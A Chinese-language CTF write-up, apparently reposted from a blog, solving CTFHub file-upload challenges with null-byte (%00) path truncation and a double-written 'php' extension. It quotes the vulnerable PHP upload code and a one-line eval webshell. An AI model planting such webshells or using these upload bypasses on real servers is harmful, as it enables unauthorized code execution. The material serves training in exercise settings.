CTFHub題解-技能樹-Web-文件上傳(00截斷、雙寫后綴)【三】


CTFHub題解-技能樹-Web-Web工具配置-文件上傳
 
 
本文記錄   00截斷 和 雙寫后綴  的題解~
 
 
(一) 00截斷
 
1.知識點
 
  0x00 ,  %00 ,  /00 之類的截斷,都是一樣的,只是不同表示而已。
在url中  %00 表示ascll碼中的  0  ,而ascii中0作為特殊字符保留,表示字符串結束,所以當url中出現%00時就會認為讀取已結束。
 
比如:
  https://xxx.com/upload/?filename=test.txt      此時輸出的是test.txt 
 
加上  %00 
  https://xxx.com/upload/?filename=test.php%00.txt    此時輸出的是test.php 
這樣就繞過了后綴限制,可以上傳webshell啦~
 
注:php版本要  小於5.3.4 ,5.3.4及以上已經修復該問題
 
 
2.題解
 
 
 
 
 
 
 
先看一下源碼:
 
if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $info = pathinfo($name);
    $ext = $info['extension'];                //首先取到上傳文件的擴展名$ext
    $whitelist = array("jpg", "png", "gif");   //將擴展名與白名單進行匹配,為jpg、png或gif才能通過第一次過濾
    if (in_array($ext, $whitelist)) {
        $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;   //擴展名匹配之后,為上傳的文件構造了一個新的存儲路徑$des
        if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
            echo "<script>alert('上傳成功')</script>";
        } else {
            echo "<script>alert('上傳失敗')</script>";
        }
    } else {
        echo "文件類型不匹配";
    }
}
 

 

(筆者參考了ggb0n大佬的wp)
 
根據代碼可知:
 
 $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext; 

 

 
這里用了  rand()函數 ,這是正常上傳圖片的存儲路徑,后綴是通過匹配  $ext 的,我們自己上傳的一句話木馬就是php啦~
構造$des的時候,首先取的是road參數的內容  /var/www/html/upload/ 存儲路徑后面要加一個php后綴的文件名,然后利用%00進行截斷,這樣上傳文件的內容就存到了我們上傳的php文件里。
 
 
  000.php 的文件內容:
 
  <?php @eval($_POST['pass']);?> 
 
用burpsuite抓個包~
改包,修改成類似紅色框框部分。
 
發送到  repeater 模塊
 
 
測試一下是否可以訪問~
 
 
 
用中國蟻劍連接吧~
 
 
 
 
 
 
這是另一種改包方法:
 
用  burpsuite 抓包,改包~
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
(二)雙寫后綴
 
1.知識點
 
  用於只將文件后綴名,例如"php"字符串過濾的場合;
    例如:
      上傳時將  Burpsuite 截獲的數據包中文件名【123.php】改為【123.p  php hp】,那么過濾了第一個"php"字符串"后,開頭的'p'和結尾的'hp'就組合又形成了【123.php】。
 
 
 
2.題解
 
 
 
 
 
 
雙寫繞過~
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
完成啦~
 
 
 
參考資料:
 
http://ggb0n.cool/2020/03/03/CTFHub部分記錄/#題目分析
https://blog.csdn.net/qq_26090065/article/details/81458937
 
 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM